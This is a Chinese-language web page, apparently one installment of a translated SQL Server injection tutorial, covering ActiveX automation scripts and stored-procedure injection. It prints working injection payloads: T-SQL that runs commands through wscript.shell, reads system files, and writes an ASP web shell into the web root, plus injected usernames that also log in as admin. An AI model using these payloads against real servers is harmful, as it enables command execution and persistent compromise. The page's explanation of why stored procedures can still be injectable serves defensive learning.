程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> 多樣化的Sql-Server應用程序注入(7)

多樣化的Sql-Server應用程序注入(7)

編輯:關於SqlServer
[SQL-Server 裡的ActiveX自動腳本]

SQL-Server提供了一些內置的擴展存儲,允許在SQL-Server內創建ActiveX自動腳本。這些腳本在功能上和Windows scripting host上運行的腳本或者ASP腳本(通常用Javascript或者Vbscript編寫)一樣,腳本創建自動對象並且通過他們產生作用。一個用Transact-SQL寫的自動腳本可以做任何ASP腳本或者WSH腳本能做的事。

下面提供一些例子來說明:

1)這個例子用'wscript.shell'對象創建一個notepad的實例(當然這裡也可以是任何命令行命令)

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

在我們的例子裡可以使用這樣的用戶名(都在一行):

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

2)這個例子用'scripting.filesystemobject'對象去讀已知的文本文件:

-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line <exec @ret = sp_oamethod @f, 'readline', @line out
end

3)下面的例子創建一個ASP腳本執行任意命令:

-- scripting.filesystemobject example - create a 'run this' .ASP file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.ASP', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run(request.querystring("cmd") )%>'

需要注意的很重要的一點是Windows NT4,IIS4平台ASP腳本將會以'system'的帳號運行,而在IIS5他們會以低權限的IWAM_xxx帳號運行。

4)這個例子(稍帶欺騙性)說明這項技術的靈活性,它用'speech.voicetext'(譯者注:參考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/Html/msdn_texttosp.htm)對象,使SQL Server說話:

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

這當然也可以在我們的例子裡使用,通過指定下面的'username'(注意例子不只是注入一段腳本,同時也以'admin'的身份登陸了程序)

用戶名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-


[存儲過程]

傳統的認識是如果ASP程序使用了數據庫系統的存儲過程,那麼就不可能SQL注入了。這句話不完全對,這依賴於ASP腳本調用存儲過程的方式。

本質上,一個帶參數的查詢執行了,用戶提供的參數就被安全的傳給查詢,SQL注入就不可能了。但是,如果攻擊者可以對無數據部分的查詢語句施加任何影響,他們仍然可能控制數據庫。

一個有用的規則是:

1. 如果ASP腳本創建了一個提交給服務器的SQL查詢語句,這是很容易被SQL注入的,即使它使用了存儲過程。
2. 如果ASP腳本使用了封裝傳遞參數給存儲過程的過程對象(如ADO command對象,和參數集合一起使用的)那麼它通常就很安全了,但是這還要取決於對象的執行。

明顯的,最好習慣於驗證所有的用戶輸入,因為新的攻擊技術會不停的湧現。

為了說明存儲過程查詢的注入,運行下面的SQL語句:

sp_who '1' select * from sysobjects

或者

sp_who '1' ; select * from sysobjects

任何附加語句在存儲過程執行後還是可以執行。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved